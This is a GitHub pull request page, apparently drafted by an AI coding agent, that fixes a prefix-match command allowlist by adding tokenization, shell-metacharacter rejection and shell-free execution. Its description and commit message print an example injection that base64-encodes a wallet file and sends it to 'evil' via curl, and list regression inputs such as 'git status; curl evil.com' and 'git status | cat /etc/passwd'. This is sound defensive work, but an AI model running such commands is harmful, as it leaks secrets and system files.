Skip to content

fix(exec): replace prefix-match allowlist with token-based check and shell-free execution#331

Merged
xlabtg merged 3 commits intoxlabtg:mainfrom
konard:issue-307-dd6095d8b78e
Apr 23, 2026
Merged

fix(exec): replace prefix-match allowlist with token-based check and shell-free execution#331
xlabtg merged 3 commits intoxlabtg:mainfrom
konard:issue-307-dd6095d8b78e

Conversation

@konard
Copy link
Copy Markdown

@konard konard commented Apr 23, 2026

Problem

Fixes #307 (FULL-C2 audit finding).

isCommandAllowed compared the raw command string by prefix. An operator who configured allowlist: ["git"] intending "only git" actually permitted:

git status && curl http://evil/$(cat ~/.teleton/wallet.json | base64)

The string starts with "git ", so isCommandAllowed returned true, and the whole pipeline was then handed to bash -c.

Solution

1. src/agent/tools/exec/allowlist.ts (new file)

tokenizeCommand(command) — minimal POSIX tokenizer (no external deps):

  • Returns null immediately if the command contains any shell metacharacter: ; & | \ $ < > \ \n`
  • Otherwise splits on unquoted whitespace, handling single- and double-quoted args

isCommandAllowed(command, commandAllowlist):

  • Tokenizes the command; rejects if null or empty
  • Compares first token of the command against the first token of each allowlist entry
  • "git" and "git status" as allowlist entries are thus equivalent (both permit any git ... invocation)

2. src/agent/tools/exec/runner.ts

Accepts a new useShell?: boolean option (default true).
When false: executes spawn(argv[0], argv.slice(1)) — no bash, no shell.

3. src/agent/tools/exec/run.ts

Sets useShell = false when mode === "allowlist", so even if validation is somehow bypassed the OS never interprets shell syntax.

4. Documentation

  • SECURITY.md: new Exec Allowlist Mode section explaining metachar rejection, shell-free execution, first-token matching, and pipe/redirect restrictions
  • config.example.yaml: updated comments to show program-name allowlist entries
  • src/config/schema.ts: updated command_allowlist description

Acceptance criteria

  • isCommandAllowed uses tokenisation, not prefix-match
  • Allowlist mode executes without bash -c
  • git status && id rejected under allowlist: ["git"]
  • git status executes correctly under allowlist: ["git"]
  • SECURITY.md documents allowlist mode limitations

Test plan

New regression tests in src/agent/tools/exec/__tests__/tools.test.ts:

  • tokenizeCommand suite: 12 cases covering quoting, all metachar classes, newline
  • isCommandAllowed suite: updated cases + 4 SECURITY-labelled regression tests:
    • git status && id → rejected
    • git status; curl evil.com → rejected
    • git status | cat /etc/passwd → rejected
    • git $(id) → rejected
  • Existing exec_run allowlist mode tests updated to assert useShell: false is passed to runner

TypeScript: tsc --noEmit exits 0.

Adding .gitkeep for PR creation (default mode).
This file will be removed when the task is complete.

Issue: xlabtg#307
…shell-free execution

Fixes FULL-C2: allowing "git" in the allowlist previously permitted
"git status && curl http://evil/..." because isCommandAllowed compared
a raw string prefix and then ran the whole command through bash -c.

Changes:
- New allowlist.ts: tokenizeCommand() splits on unquoted whitespace and
  rejects any command containing shell metacharacters (;&|`$<>\n\).
  isCommandAllowed() extracts the first token of the command and compares
  it against the first token of each allowlist entry, so "git" and
  "git status" are equivalent allowlist entries.
- runner.ts: accepts useShell option; when false executes via
  spawn(argv[0], argv.slice(1)) with no shell, preventing OS-level
  injection even if a metachar somehow slips through validation.
- run.ts: sets useShell=false in allowlist mode; updates tool description
  to document the pipe/redirect restriction.
- types.ts: adds useShell to RunOptions.
- config/schema.ts: updates command_allowlist description to clarify
  entries are program names.
- tests: adds tokenizeCommand tests; adds four SECURITY regression tests
  asserting that "git status && id", "git status; curl", etc. are all
  blocked when allowlist is ["git"].
- SECURITY.md / config.example.yaml: documents allowlist mode behaviour
  and restrictions.

Acceptance criteria from issue xlabtg#307:
✓ isCommandAllowed uses tokenisation, not prefix-match
✓ allowlist mode executes without bash -c
✓ "git status && id" rejected under allowlist: ["git"]
✓ "git status" executes correctly
✓ SECURITY.md documents allowlist mode limitations
@konard konard changed the title [WIP] [AUDIT-FULL-C2] Exec allowlist mode is a prefix match; allowing \"git\" allows arbitrary shell fix(exec): replace prefix-match allowlist with token-based check and shell-free execution Apr 23, 2026
@konard konard marked this pull request as ready for review April 23, 2026 04:58
@konard
Copy link
Copy Markdown
Author

konard commented Apr 23, 2026

🤖 Solution Draft Log

This log file contains the complete execution trace of the AI solution draft process.

💰 Cost: $1.979571

📊 Context and tokens usage:

  • 77.3K / 1M (8%) input tokens, 23.1K / 64K (36%) output tokens

Total: (67.9K + 4.6M cached) input tokens, 23.1K output tokens, $1.979571 cost

🤖 Models used:

  • Tool: Anthropic Claude Code
  • Requested: sonnet
  • Model: Claude Sonnet 4.6 (claude-sonnet-4-6)

📎 Log file uploaded as Gist (2324KB)


Now working session is ended, feel free to review and add any feedback on the solution draft.

@konard
Copy link
Copy Markdown
Author

konard commented Apr 23, 2026

✅ Ready to merge

This pull request is now ready to be merged:

  • All CI checks have passed
  • No merge conflicts
  • No pending changes

Monitored by hive-mind with --auto-restart-until-mergeable flag

@xlabtg xlabtg merged commit ad45996 into xlabtg:main Apr 23, 2026
18 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[AUDIT-FULL-C2] Exec allowlist mode is a prefix match; allowing \"git\" allows arbitrary shell

2 participants